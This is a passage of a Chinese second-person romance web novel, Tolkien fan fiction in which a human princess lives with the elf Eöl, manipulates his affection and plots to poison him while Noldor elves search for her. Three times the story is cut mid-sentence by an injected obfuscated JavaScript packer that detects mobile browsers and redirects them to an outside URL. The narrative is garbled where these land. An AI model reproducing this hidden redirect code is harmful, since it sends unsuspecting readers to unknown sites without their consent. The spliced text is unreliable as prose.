说话的时候你抬起头,那双纯净的湛蓝眼瞳在他面前一览无遗,他竟然没有在你眼里找到任何的恐惧,你难道不会感到害怕吗? 也是,你都能偷偷穿着盔甲上战场,现在的情况对你来说也没什么好害怕的。 他说:“它刚才的动作是想要带你从这里离开,但你好像没明白它的意思。” “恰恰相反,我知道它想告诉我什么,但我选择相信您是一位好心的精灵,而且我现在已经走投无路,倘若我现在原路返回,没有补给,而且路上说不定还有数不清的敌人,比起这样冒险,我宁愿选择相信您会帮助我。” 话语间你对他露出挑不出任何错的笑容,埃欧尔移开视线,他没有正面回应你刚才说的话,他甚至换了个话题,“你的马匹该多吃一些干草了,它一路带着你过来肯定累坏了。” 棕马对于你为什么不逃跑还略带疑惑,但好在眼前这个陌生精灵没有要伤害你的意思,于是它暂时乖巧地跟在你身边。 沿着一座小桥向前走去,走到尽头再走几步路,周围挤挤挨挨的树枝就随之被你抛到脑后,那座精灵宫殿矗立在这片静谧的森林里,宫殿里自然不止埃欧尔一个精灵,但是跟随他的精灵性格也与他相似,行踪神出鬼没,你只在刚刚来到宫殿的时候遇到了两位黑发女精灵,埃欧尔让她们带你去客房。 那应该不能说是客房(因为你不觉得会有精灵专程来这里拜访),更准确的说是空房间才对。 那匹棕马被另外一个男精灵带去了马厩,你在去往空房间的路上还在尝试和她们交流。 “谢谢你们为我带路,我能知道你们的名字吗?”你这样问道。 但那两个女精灵始终紧闭双唇,没有发出任何一丝声音,只是在带你走到那个房间门口时其中一个精灵为你打开门,这时她才轻声说道:“请。” 这是她们和你从见面到现在对你说的唯一一句话,这都不能算是句子,因为那只是一个单词而已。 你走到房间里,那两位女精灵异常冷淡的态度让你有些疑惑,你打开好感度面板一看,因为她们没告诉你名字,所以面板上显示的名字都是[???],但是她们的好感度都有50,好吧,大概她们也是沉默寡言的性格吧。 就这样,你暂时在这里住了下来,房间里还有给你准备的换洗衣物,你走到浴室,舒舒服服地洗了个热水澡,你的头发上还带着许多已经凝结的血块,还好你是黑发,所以这看起来并不明显,只不过当那些凝固的血块在温热的洗澡水里融化的时候,那一团团的血雾弥漫开来,本来透明的洗澡水顿时变成淡红色。 你只能先把身上粘结的血块洗去,这让你换了好几次洗澡水,等处理完这些零星的血污,你这才泡在浴缸里,脑袋里还在思索待会该怎么应对埃欧尔,他实在是太沉默了,想要从对方挖出有用的信息一大重要前提就是对方得要开口。 算了,你日后总有机会让他主动开口的。 你抹了一把脸,水珠顺着你的侧脸滑下,最后汇聚在你下巴尖,然后再啪嗒啪嗒地滴入浴缸里。 你低着头看向水面,那表面倒影出你的面容,同时也倒映出你脖子上的吊坠,正是当初吉尔-加拉德送你的吊坠,你用手指摩挲那枚吊坠。 而吊坠曾经的主人吉尔-加拉德这些天也忽然有种不太好的预感,一来是因为这阵子天气反常总是阴雨连绵,二来是因为他写给你的信你迟迟没有回音。 放在平常虽说你也会迟一 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从某种程度上来说,还真是被芬罗德给说中了,现在不光是你遇到了麻烦,连带着那些寻找你的诺多精灵也遇到了麻烦:他们在战场和附近来来回回搜寻了好几遍都一无所获,甚至都没能找到你的尸首。 这是个好消息也是个坏消息,好消息是至少他们现在还无法确认你已经死亡了,但坏消息就是你很可能被半兽人掳走了,他们一旦知道你的身份,肯定会将你作为谈判的筹码并以此来威胁伊甸人甚至是挑拨精灵和人类的关系,这可以说是最糟糕的情况了。 直到入夜以后格洛芬德尔仍旧在寻找你的身影,他在森林间呼唤你的名字,哪怕声音变得沙哑,哪怕他的呼喊声还招来了野兽和半兽人,他都没有要放弃的意思。 可即便如此他也没能找到你的踪迹,最终他只能带着满怀的失望回到图尔巩身边,阿瑞蒂尔安慰道:“我相信她是被命运眷顾的人类,绝不会那么轻易死去。” 阿瑞蒂尔的这番话让格洛芬德尔想起了许久以前他曾经和你玩笑般地询问你如果他死了你会如何反应呢?你说得很干脆利落,你说你会为他复仇,可是现在假设的一方发生了转变。 他不由地问自己,如果你死了他又该怎么办呢? 他的理智告诉自己要为你复仇,可是他的感情却拒绝回答这个问题。 “但愿是这样的。”格洛芬德尔的声音因为长时间呼喊你的名字变得沙哑,他低垂脑袋,眼睫轻轻地颤抖着。 而被阿瑞蒂尔称呼为“被命运眷顾的人类”的你终于泡好澡从浴缸里出来,换上干净的换洗衣物,你站在镜子面前慢条斯理地梳理自己的头发,并且在心里思索着如何从埃欧尔嘴里套话,又或者是如何让他成为自己的助力。 17.第 17 章 从浴室里出来的你头发还稍微带着点水雾气,将头发理顺以后你便打开门,你在来的路上途经餐厅,你默默地把路线给记了下来,因此哪怕没有精灵给你带路你也顺利地来到了餐厅门口。 这个精灵宫殿不仅周围的环境不见天日,就连宫殿内部也光线昏暗,和你之前居住过的精灵宫殿相比较完全不是一个亮度,大概是因为这里的主人埃欧尔不喜欢太明亮的光芒。 说实话如果不是这个世界背景下没有吸血鬼,你都会觉得埃欧尔比起精灵更像是吸血鬼,尤其是他那副冷冰冰的态度。 长廊上铺设着一层暗红色的地毯,行走在上面脚步声都被吸收,你就这样悄无声息地走到餐厅的入口,那扇门紧闭着,你先是敲了敲门但是里面没有任何回应,你没有贸然推开门,而是又敲了一下。 这次总算是有了回应,只不过那回应是从你背后传来的,“你是打算等着这扇门自动打开吗?” 那是埃欧尔的声音,尽管他在你面前只说过几句话,但是他低沉的嗓音很有特色,极具辨识度,你回过头,发现他也换了一身衣服,不过依旧是暗色系的,腰带是由特殊的金属制成,上面还有繁复精美的花纹。 你只瞧了一眼,视线没有在他身上停留太久,因为在你看来他是不太喜欢被人长久注视着的,你垂下眼帘,“我作为贸然闯入这里的外来者能够被您收留已经是我的幸运了,我又怎么能奢望您将我当成客人对待呢?” 又是这样,他简单的一句话你就能用许多的话语来回答,而且话里话外都是一副尊敬的姿态,但他之前在森林里暗中观察你的时候,你可不是这样一幅柔弱的模样,哪怕你的外表确实不由地他人认为你需要保护,但他看见你亲手杀死野兽和毒蛇,你挥剑的动作是这样干脆利落,充满了力量的美感。 所以你现在展现出来的样子也不过是伪装而已,埃欧尔想,他从你身边走过,然后为你推开门,他倒是想要看看你会装到什么时候。 他向你比了个请的手势,你这才走入餐厅,里面的光线大多是灯火,以及从透明的穹顶洒下的月光,烛火影影绰绰的,渲染得这里的氛围看似柔和,但在温和的表象下暗流涌动。 长桌上已经摆满了晚餐,你没有马上入座,而是回过头看向埃欧尔看似在征求他的建议,“我应该坐在哪里呢?”你问。 埃欧尔在主座坐下,他说:“你身为人类公主,难道王室连这些礼仪都没有教过你吗?” “那是人类的礼仪,就连精灵的不同种族之间的礼仪都有所不同,更何况是精灵与人类之间的礼仪区别,我若是假定人类的礼仪在这里也是通用的,岂不是太过傲慢了?”你轻飘飘地说。 埃欧尔说出的尖锐话语就像是一拳打在棉花上,软绵绵的,那力道都被卸下了。 他略带不悦,因为你似乎看穿了他的心思,接着他又听见你说:“所以还请您告诉我应该坐在哪里呢?” “这里。”埃欧尔屈起手指敲了敲他旁边的位置,你看似顺从地在他手边坐下,但他知道你绝对不是那种逆来顺受的人,这只是你伪装出来的假象而已。 “你不用表现得那么畏畏缩缩,我如果想要杀死你,在看到你的第一眼就会动手了的。”埃欧尔说的是实话,你也深知这一点,他会把你带回宫殿而且还以晚宴招待你就说明他本质上对你没有恶意。 可是没有恶意不代表他会对你多友善,尤其是你这个人类公主还和诺多精灵交好,而埃欧尔又认为正是诺多精灵的到来才使得整个贝烈瑞安德变得乌烟瘴气,正所谓爱屋及乌,恨屋及乌也是一样的,他不免会因为诺多精灵的缘故迁怒于你。 “谢谢。”你笑着说,埃欧尔因为你的笑容顿了一下,他作为精灵王辛葛的亲族当然是见过他的女儿露西恩的,那位最美丽的精灵,甚至是伊露维塔所有儿女里最美丽的一位,可即便如此,他现在还是会因为你的笑颜而呼吸停顿。 就像是那则预言里所说的,你的美丽与露西恩不相上下,他起初还以为那只是夸张的说法,无论是人类还是精灵有时候所说的话语里总会带着几分夸张色彩,可是现在他明白了,那说的一点也不夸张。 埃欧尔沉默许久,他收回目光,低头专心享用晚餐,你也安静地享受这份晚餐。 正餐结束以后还有甜品,是类似于焦糖布丁一样的甜品,你用勺子敲着布丁表面有些硬的焦糖层,发出啪嗒啪嗒的声响,终于,你把焦糖层敲出几条裂缝来,然后用勺子挖着里面软乎的布丁,淡黄色的布丁还散发着浓郁的奶香味,再混着焦糖味的糖屑,你可以说这是一份很完美的甜品。 你慢悠悠地吃完一份焦糖布丁,正用餐巾擦拭唇角,宽大的餐巾遮挡你右下方的视野,等你放下餐巾,你的右手边就又多出一份没动过的焦糖布丁。 “这是……?”你略带疑惑地问道。 埃欧尔拿起酒杯抿了一口酒,“我不喜欢这种甜品,刚才看你似乎喜欢。” 倒不如说他是特意为你多准备了几份甜品吧,你说:“但刚才那一份甜品已经足够了,多谢您的好意。” “随便你。”埃欧尔放下酒杯起身离开,他还不太能适应长时间待在你身边,因为他的注意力每时每刻都会被你吸引,这让他无法集中注意力,就好像自己脱离了控制,丧失了自主权,哪怕他之前见到露西恩公主的时候都不会有这种反应,这让他感到手足无措,只能急匆匆地从你身边离开。 而你呢,则是很平静地目送他匆匆离开的背影,从始至终你都挺直背脊,仿佛你才是这里的主人,你瞥了一眼那份完好的焦糖布丁,而后才起身离开餐厅。 本来你还以为埃欧尔是多难相处的精灵呢,后来才发现他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“说实话,与您的初次见面我还以为您的性格凶狠,但现在看来,您的内心远比外表更加柔软善良。”你一边说着一边浅笑着看向他。 所以这位内心柔软善良的精灵就直接把这件软甲白送给你吧,你可不想到时候还得付给他报酬,能白拿的东西又为什么要付钱呢? 果不其然地,埃欧尔在你的注视下他的眼睫轻轻地颤抖着,你也曾在吉尔-加拉德身上见到过相同的反应,你顿时了然——他在害羞。 说起来他常年待在这片森林里,你观察过他的日常生活除了窝在工坊打铁就是外出寻找新的矿洞,这样的生活说好听点是简单朴素,说的直接一些就是过分单调。 所以他面对你的那一番话的反应简直和精灵少年如出一辙,倒不如说他在对待感情上面还可以称得上是青涩的。 埃欧尔移开视线,他说:“啰嗦,既然是送给你的礼物,那这就是你的了,至于回报,我还没有窘迫到送出礼物得要计较回报的程度。” 看吧,他果然还是掉入了你的圈套里。 “谢谢您,不,我是说——谢谢你,埃欧尔。” 他的身形有一瞬变得僵硬。 18.第 18 章 你从很早以前就知道了把周围人的好感度刷上去到对你会有多少好处,这个道理用在精灵身上也是同理,尽管一开始埃欧尔对你的确心存警惕,不,与其说是警惕,到更像是一种试探的态度,他偶尔会在你面前表露矛盾的一面,例如他或许本意是想要帮你的,但是从他的言行举止来看就像是在针对你。 要是换成其他人估计会因此而惴惴不安,但好在你对此都见怪不怪的了。 而且看着身量高大的精灵矛盾纠结的样子也使你隐秘的恶趣味得到满足。 自你来到这座宫殿以后你提过三次要离开这里,第一次是在居住半个月以后,你在这里受到了款待,因此身体恢复得很快,你想着尽快回到诺多精灵的领地,但是被埃欧尔直接拒绝了,他给出的理由是如果你日后又带着诺多精灵侵犯他的领地又该怎么办? 他这个理由真是牵强,且不提诺多精灵为什么要来他这里,从地理位置来看,埃欧尔的居住地就在明霓国斯附近,就算真的发生了什么,他也可以及时请求辛葛援助,所以无论从哪个角度来看这个理由都说不通。 可你没有反驳,而是静静地听他说完这个蹩脚的借口,然后对他笑着说:“您是我的朋友,我为什么要伤害自己的朋友呢?” 埃欧尔对你所说的话存疑,他半信半疑地说:“人类的话又有几分真的呢?” 他这幅样子活像是以前被人类欺骗过然后对所有人类都保持怀疑态度。 真是个倔脾气的精灵,你在心里如是评价埃欧尔。 于是你第一次提出离开这件事就这么不了了之,你第二次提出离开是在某个雨夜,其实你并没有明确表达自己要走的意思,你只是站在落地窗旁看向窗外,轻轻地说了一句,“也不知道别处是否也是漫天大雨呢。” 埃欧尔听到你这么说就自然而然地联想到你要离开这里,他的脸色肉眼可见地阴沉下来,他说:“这场雨很快就会过去的。” 而你转过头,仿佛没有看见他那副凝重的神色,而是说:“雨后会有彩虹吗?”这话说得你好像真的在期待这场雨过去,而刚才他的猜测也不攻自破。 “彩虹,那是转瞬即逝的东西,你如果喜欢的话——”埃欧尔说着,“我可以把它永远留下来。” “永远?这又该怎么做到呢?”你略带好奇地挑起一边的眉,埃欧尔对你的好奇很受用,他乐于被你注视,他也毫不吝啬地将自己的造物都与你分享。 埃欧尔所说的永远封存彩虹其实就是在雨后将彩虹光收集起来,然后存入钻石里,具体原理如何你也不清楚,还可能涉及到一些精灵才会的魔法,尽管你没能把这些制造原理完全摸清楚,但是这并不妨碍你全神贯注地观察埃欧尔打造那条项链的过程。 “真神奇,我以为你不太擅长镶嵌宝石这一类精巧的操作。”毕竟埃欧尔的手掌宽大,而且你平常见得最多的就是他握着铁锤敲打火红铁块的模样。 埃欧尔轻笑一声,他平日里肯定不常笑,因为他的笑容也是生涩的,“这对我来说并不难。” 这条项链由一颗主钻和六颗辅钻组成,最中间的钻石形状圆润,大约比鸽子蛋还要大一些,表面经过埃欧尔的精心切割打磨,将钻石原本的光辉又放大了许多倍,而且这颗钻石里封存着雨后的彩虹,如果仔细看就能看到那副流光溢彩的美丽模样。 即便你和精灵相处已有许多年,但你也很少见到这样美丽的项链,你说:“这应该搭配华丽的衣服。” 埃欧尔却很笃定地说:“不,不需要什么华服。”话语间他走到你身后,摘下你脖子上的星辰吊坠,他捏着吊坠的动作随意,甚至还带着几分厌恶,那一看就是其他精灵送给你的,他从看到的第一眼就觉得很碍眼了。 你的脖颈顿时变得空落落的,那条吉尔-加拉德送的吊坠戴得久了你都已经习惯了,你伸手触碰自己的脖子和锁骨,紧接着埃欧尔为你戴上钻石项链,钻石的触感带着几分微凉,你起初还有些不适应。 埃欧尔的声音在你耳边响起,他说:“这样就已经很美丽了。” 虽然你没有抬起头但是你能感受到他的目光黏在你身上。 好像把他的好感度刷得有些太高了,这就有点麻烦了……你垂下眼帘内心很平静地想着。 这是一件有利也有弊的事情,好处就是他可以满足你的大部分要求,除了离开这里,坏处就是你有可能要被困在这里了。 当你意识到这一点的时候你没有太紧张,也没有直接和他挑明,你现在还在他的地盘里,把话说得太明白对你也没好处。 看起来你得要先蛰伏一段时间了,你想。 埃欧尔不满足于你佩戴他制作的项链,他将手里的星辰吊坠往火炉里一扔,他的动作太快,以至于你都还没有意识到,那条吊坠就已经被火焰吞噬。 “那是我的吊坠!”你难得带着几分怒意朝他喊道,然后你拿起旁边的夹子把那条吊坠从火焰里夹出来,还好这条吊坠的材质特殊,表面没有丝毫损伤。 “那是其他精灵送给你的。”埃欧尔说,“而你还那么在意。” “当然,那也是我的朋友,我现在都已经决定不离开这里了,你就连这些礼物都不允许我保留下来吗?” 很显而易见地,埃欧尔捕捉到你话语里的关键词,他的表情柔和了不少,“那我得要向你道歉,只不过这条吊坠的手艺一般,根本比不上我送的礼物。” 得了吧,至少吉尔-加拉德比他听话多了,你还真有点怀念那个温驯的精灵少年了。 “好吧……但你也得要允许这世间还有不如你的作品的存在。”你说。 只要你想,你总能说出动听的话语,即便是埃欧尔也会因为你的话语而心生欢喜,他说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819457|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是自然的。” 后来的日子你不再提起离开的事情,仿佛你决定就要在这里长久地生活下去了,当然,这只是看起来的样子而已,实际上你借着散步的由头把这周围的地势还有路线都摸得一清二楚。 只需要一个时机,你就可以抓住机会逃离这里。 日夜交替,时间流转,季节更替,从你当初来这里的春季眨眼间就到了秋天,茂密森林里的秋天,哪怕只是初秋的威力也堪比冬天。 森林里随处可见硕果累累的果树,还有各类蔬菜,就连动物也在林间漫步,你时常会和埃欧尔行走在林间,听他介绍这森林里的一草一木,带你参观附近的矿洞,亦或是带着你前往矮人国度,然后看他牵起你的手既得意于矮人们看到你惊叹的眼神,又会在下一秒提醒他们你是属于他的。 每每听到这里你忍不住地想要作呕,他就是像是带着一件绝世珍宝那样炫耀给周围人看。 他这些举动无异于在挑战你的底线,如果说你之前的确只是想着休整一段时间后就离开,那么现在你逐渐改变了主意。 走是肯定要走的,只不过走的时候带走什么东西就不好说了,首先你要带走他为你制作的弓箭,还有那件秘银软甲,其他有用的东西也要带走,最后你还得要带走一件没用的东西。 如果要问那是什么,那就是埃欧尔的性命。 矮人的国度里有许多你没见过的稀奇古怪的东西,因为你是埃欧尔带来的客人(但你觉得他们更像是把你看作一件珍宝而非活生生的人),但凡你对什么东西展示出哪怕一丁点的兴趣他们都会热情地为你介绍。 “这是什么?”你指着一朵盛放的玫瑰,那应该不是普通的花朵,因为它是被放在一个特制的透明罩子里的。 “那是‘永恒的爱’,它的花瓣和汁液能够将使用者的爱意保存下来。” 你若有所思,“仅仅只是爱意吗?” “那也不一定,你可以把它当成一个容器,它可以储存爱意,也能储存其他情感,只是如果是负面情绪,那就可能是有害的。”那个矮人如是对你说。 这倒是正合你的心意,你对埃欧尔的恨意足以让这花朵变成致使他死亡的利器,而且死后还很难找出死因。 你盯着这朵花看了许久,埃欧尔走到你身边,“你喜欢?” “是的,这代表了——‘永恒的爱’。”你笑盈盈地说道,笑容之下藏着的是对他汹涌的憎恶。 而他却因为你主动的言语愣了愣,然后说:“那就把它带回去吧。” 他丝毫不知道正是自己的这一举动促成了他最后的死亡,不过这也是他自作自受。 你牵起他的手,“好了,我们该回去了。” 埃欧尔喜欢听你那么说,听上去就像是你已经把那片森林当成自己的家了,他与你十指相扣,“嗯,我们回去吧。” 19.第 19 章 你一直在等待一个逃跑的机会,为此你可以无比耐心地等待那一天的到来,就这样从初秋等到隆冬,冬天的第一场雪来得很突然,你在后花园赏花的时候天空中飘下星星点点的雪花,那洁白的雪花落在你的手背,眨眼间就被你的体温所融化。 你仰起头望向尚未被参天古木蚕食的一角天空,雪花还在源源不断地落下,它们洋洋洒洒地落在你肩头和发间,甚至还有几片细碎的雪花沾在你的眼睫上。 伴随着你轻轻地眨了一下眼睛,那雪花就旋即落下。 “伊玟,外面下雪了,很冷,快到我身边来。”埃欧尔站在长廊上呼唤你的名字,你装作没听见,见你没有反应,埃欧尔便走到你身边,脱下披风盖在你身上,他的披风对你来说太过宽大,披在你身上披风的衣摆都要曳地。 他很自然地握住你的手,你的双手变得冰凉,他皱起眉,“在房间里也能赏雪。” “人类的寿命对于精灵来说也如同这雪花一样转瞬即逝的对吧?”话语间你抬起头,笑盈盈地看向面前的精灵。 “你该回房间了。”埃欧尔有意避开这个话题不谈,他自顾自地拉着你走回温暖的室内,你发间的雪花也被迎面而来的暖风融化成水珠,一颗一颗地缀在你的发丝上,你坐在落地窗边看雪,埃欧尔找来毛巾擦拭你的脸颊和头发,就像是在擦拭宝物上沾染的灰尘一样。 “如果我死去了,你会感到难过吗?精灵是会心碎而死的对吧?你会为了我而心碎吗?”你主动握住他的手腕,埃欧尔因为你说的话而僵住,你的手指轻轻地敲了下他的手腕内侧,“别站着了,这样我会看不清你的脸的。” 埃欧尔顺势半跪在你身边,这样看来他反而更像是你的宠物,虽然你是绝对不会养他这样不听话的宠物的,你垂眸注视他的面容,“你为什么不说话呢?” “……我不知道。”他终于开口了,声音生涩,他也曾见过精灵为了爱人心碎而死,但他对此毫无感触,因为他从未认为这种事情会发生在自己身上,他也知道人类的寿命短暂,因此他也在思考如果你迎来死亡他又该怎么办呢? 无论怎么想,他都不会为此而心碎,相反地,他会用尽一切方法将你的灵魂留下来,这就是他的选择。 “不会心碎吗?”你叹了一口气,眉头蹙起,表情哀伤,仿佛你是真的深爱着眼前的精灵,“我以为我们是相爱的。” “我会尽我所能留住你。”他说。 好吧,这的确是他做得出来的事情,你用双手托起他的脸颊,一股玫瑰的香味掠过他的鼻尖,你在他的唇角留下清浅的吻,“但你现在已经留住我了。” 尽管是以最让你恼怒的方式把你留下来的。 埃欧尔的身体变得僵硬,他的眼睫轻轻颤抖着,有时候你也会很好奇,精灵真的不会遇到爱情骗子吗?他们真的认为真爱是那么容易遇见的吗? 埃欧尔紧闭双眼迎接你的亲吻时会猜到你正在用冰冷的眼神打量他,算计着何时杀死他吗? 你收回手,“我想自己安静地看一会雪,我很喜欢下雪天……” 倒不如说在下雪天动手大雪会掩盖大部分的作案痕迹,大自然就是你的帮手。 埃欧尔有些不舍地亲吻你的侧脸,过了一会才离开,房间里归于安静,只有壁炉里柴火燃烧发出的噼啪声响,你在心里思索着从矮人那里带回来的花朵药效什么时候起作用,你将玫瑰的花瓣碾碎混入口脂里,又借由亲吻给精灵下.毒。 没什么新意地下.毒方法但是很稳妥,而且还会让埃欧尔误认为你对他是真心的。 你的计划原本很顺利的,直到中间出了点小插曲,也许是因为森林深处的宫殿太阴冷了,也有可能是这场大雪,你就这样毫无预兆的病倒了,这种感觉就像是回到了你的儿时,每天都要泡在酸苦的汤药里度过,你早就习惯了这种生活,但你的病情却吓到了埃欧尔。 “我睡一觉应该就会好了。”你说,声音已经被病痛侵蚀得沙哑。 每到这时候你就会非常羡慕精灵,他们免受任何疾病的困扰,因此他们也根本无法体会你现在的痛苦。 “不,你需要吃药。”埃欧尔说,接着光线昏暗的房间里又进入一个精灵,那应该是精灵里的医师,他和埃欧尔说了许多,一开始你还能听清楚,渐渐地到你的意识变得模糊,你也难以听清他们在说什么。 “她需要的草药我们这里没有,您需要去多瑞亚斯境内,美丽安王后会告诉您怎么做的。”医师这么对埃欧尔说。 没有任何犹豫,埃欧尔从马厩里牵出一批骏马奔向西方的多瑞亚斯。 这场大雪见证了埃欧尔骑马奔往多瑞亚斯为你求药的画面,也见证了格洛芬德尔穿过北方地带冒着风雪一路寻找你的画面。 现在距离你消失不见已经过去了大半年,诺多精灵都未曾放弃寻找你,你消失的事情再也瞒不住了,有的精灵已经察觉到了不对劲,就比如纳国斯隆德的吉尔-加拉德,他在初秋的时候就专门来了一趟图尔巩的领地,他亲自登门拜访,哪怕图尔巩以你身体抱恙不方便见客也没能阻拦这位精灵少年寻找你的步伐。 最后他对图尔巩说:“殿下,您应该很清楚我是为了谁而来这里的,如果不能见到她,我无法心安,所以无论如何请让我见她一面,哪怕只有一面也好,我就会离开这里,不再打扰她。” 当吉尔-加拉德说出这番话的时候他多多少少已经意识到恐怕有什么糟糕的事情发生在你身上,如果真的只是生病那又为何图尔巩的眉眼间都是哀愁呢?事实证明吉尔-加拉德的猜测是正确的。 图尔巩见吉尔-加拉德眼神坚定,知道自己恐怕再难瞒着他了,于是他叹息着说你在几个月前失踪了,“你无法再见到她了。” “失踪?她在哪里失踪的?”吉尔-加拉德着急地追问,他就知道自己这些天的心神不宁是有原因的,可你好端端地怎么会失踪呢?难道是有谁潜入图尔巩的领地将你带走了吗?否则他想不到任何导致你失踪的原因,可即便是前面的猜测也很难成立,毕竟谁能够躲过边境的精灵守卫然后再掩人耳目地将你带走呢? 正当吉尔-加拉德思绪纷乱之时,图尔巩带着叹息的声音响起,他说:“在北方战场,我们至今都未能找到她,是她自己瞒过其他精灵偷偷混入战场。” 因为图尔巩给出的回答太过匪夷所思,吉尔-加拉德沉默许久,他不明白,是什么驱使你混在精灵军队里奔赴战场呢?而且据他所知这场战争并没有人类势力介入,哪怕是你要帮助多尔罗明的人类这也是说不通的,这是一场属于精灵和魔苟斯之间的战斗。 “那……她死了吗?”吉尔-加拉德近乎哽咽地问出这个问题,他的眼眶变得酸涩,“她死在战场上了……?” 他很难将死亡与你联系在一起,因为你在他的印象里始终与那个夏天联系起来,想到你就会想起那个被朦胧而青涩的爱意笼罩的夏日宴会。 “没有,我们没有找到她的尸首,她或许还活着。”图尔巩说,尽管这种可能性微乎其微。 可吉尔-加拉德像个溺水之人拼命抓住最后一根浮木,既然没有找到你的尸首,那就说明你还活着,哪怕他们都心知肚明你活下来的可能性有多小,可他还是选择相信这份渺茫的希望。 “我明白了。”吉尔-加拉德轻轻地说道。 吉尔-加拉德没有责怪图尔巩,他只是强装镇定地离开,而后又孤身前往北方战场寻找你。 在他之前的格洛芬德尔已经在北方搜寻了好几个月,一直从夏季到冬季,终于,他的步伐朝着东方南下,那里是精灵王辛葛的领地,附近有着一圈美丽安环带,身为第二家族的诺多精灵因为亲族残杀的缘故,他们不被允许进入多瑞亚斯境内,因此格洛芬德尔绕过美丽安环带,一路南下。 就这样,也许是在命运的指引下,他与你一样进入了精灵埃欧尔领地内的森林,更加巧合的是他遇到了从美丽安王后那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825869|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取了药回来的埃欧尔。 埃欧尔才从多瑞亚斯离开,他是前一天深夜到达多瑞亚斯的,他的发间沾满白雪,发丝凌乱,样子可以说是狼狈的,他步履匆匆地奔向王宫,他的异常举动引起了周边精灵禁卫军的注意,他们拦下埃欧尔,“埃欧尔大人,您为何突然深夜造访?” “我有重要的事情!”埃欧尔大喊着,伸手推开精灵士兵,“我要求见美丽安王后!我有重要的事情要拜托她!” 埃欧尔的声音撕裂深夜的宁静,就在他们僵持不下的时候,美丽安王后出现在他们面前,她站在台阶之上俯视这位来客,眼眸中带着几分怜悯,“让他进来吧,我知道他想要什么。” 闻言,那些精灵士兵才放过埃欧尔,而埃欧尔踉踉跄跄地走到美丽安王后面前,双膝跪地,“她生了重病,要不了多久就会死去,只有您能救她。” 美丽安问道:“她?她与你又是什么关系呢?” “她是我的爱人。”埃欧尔低下高傲的头颅,“我只希望她能活下来,除此之外别无所求。” “你认为她是你的爱人,但她可曾说过类似的话?”美丽安在于埃欧尔谈话间窥见他的命运一角,在不久后的未来他浑身鲜血地倒在雪地里,眼神愤恨地望向不远处。 “……她也是爱我的。”埃欧尔沉默片刻才给出答案。 “埃欧尔,我可以给你救她的药,只是你会为此而付出代价的,尽管这样也没关系吗?”美丽安垂下眼帘,你的命运本来就不该在埃欧尔的森林里走向尽头,这是他贸然干涉你的命运所需付出的代价。 “我愿意。”埃欧尔说道,就这样他从美丽安手里得到救治你的魔药,没做任何停留,他再次匆匆离去,就这样离开多瑞亚斯返回自己的森林。 埃欧尔急切的心情在那匆忙的马蹄声中显露无疑,格洛芬德尔先一步发现的埃欧尔,他躲在暗处通过对方的穿着以及他来的方向判断对方是泰勒瑞精灵。 实际上埃欧尔当时也察觉到了他的森林里极有可能有一位不速之客,但他急着回到你身边,因此他没有停下来,而是打算看着你喝下药以后再折返回来解决这个麻烦。 他穿越风雪回到你身边,步履匆匆地进入你的房间,他脱下沾染了寒气的斗篷,三步并作两步在你床边半跪下来。 此时的你意识还算清醒,你就着他的手慢吞吞地喝下药水,由迈雅美丽安制作的药水效果非凡,几乎在你咽下第一口药水的时候你就感觉到四肢百骸都变得温暖起来。 你缓慢地眨了一下眼睛,“谢谢你,埃欧尔。”尽管不久之后你就会杀死他。 埃欧尔原本想要拥抱你可是他的身上还带着寒气,所以他伸到半空中的双手又收了回去,他又想起当初美丽安王后给他这瓶药水时所说的话。 “你所期待不一定会有好结果,你的执念恰恰会招致厄运。”她是这么说的。 厄运,埃欧尔很自然而然地将森林里的不速之客与美丽安所说的厄运联系在一起,因此他没有在你身边停留多久,旋即又站起身,他临走前又叮嘱其他精灵好好照顾你,紧接着他又头也不回地进入那场风雪里。 想要在他熟悉的森林里找出那个不速之客对埃欧尔来说很简单,反倒是格洛芬德尔被骤然变强的风雪迷了眼,他迷失了方向,就在进退两难的时候埃欧尔出现在他的不远处,面色不虞,他语气不善地问道:“弑亲的诺多,你想要将自己身上的不祥也带到这片森林里吗?” 至少没有直接兵刃相接,格洛芬德尔想,他表明自己的来意,“我是来寻找一位人类公主的,多尔罗明的伊玟公主,她在多月前失踪了,我们找遍了北方都没能找到她。” 埃欧尔冷笑道:“没准是被你们的亲族,那些费诺里安给藏起来了呢?” “藏起来……”格洛芬德尔唇角礼貌的笑容僵住,渐渐地,他的笑容消失了,“你又怎么确定她是被藏起来了呢?” 气氛瞬间变得剑拔弩张—— 20.第 20 章 埃欧尔的手覆上剑柄,他反问:“这和你又有什么关系?你贸然闯入我的森林是你有错在先。” 还未等他的话音落下,电光火石之间刀剑寒光闪过,他抽出宝剑朝着格洛芬德尔攻去,格洛芬德尔抬起宝剑挡下这一击,埃欧尔的攻击带着十足的杀意,当格洛芬德尔接下那一击的时候就意识到对方要将他置于死地,他皱起眉,眼神凌厉,“她是哈多家族的公主,理应由诺多精灵来保护。” “保护?你们所说的保护就是任由她在战场上乱跑然后走投无路来到我的森林?如果不是我,这个人类公主早就死在魔苟斯的爪牙之下了,这么说来你们诺多精灵理应感谢我才对!” 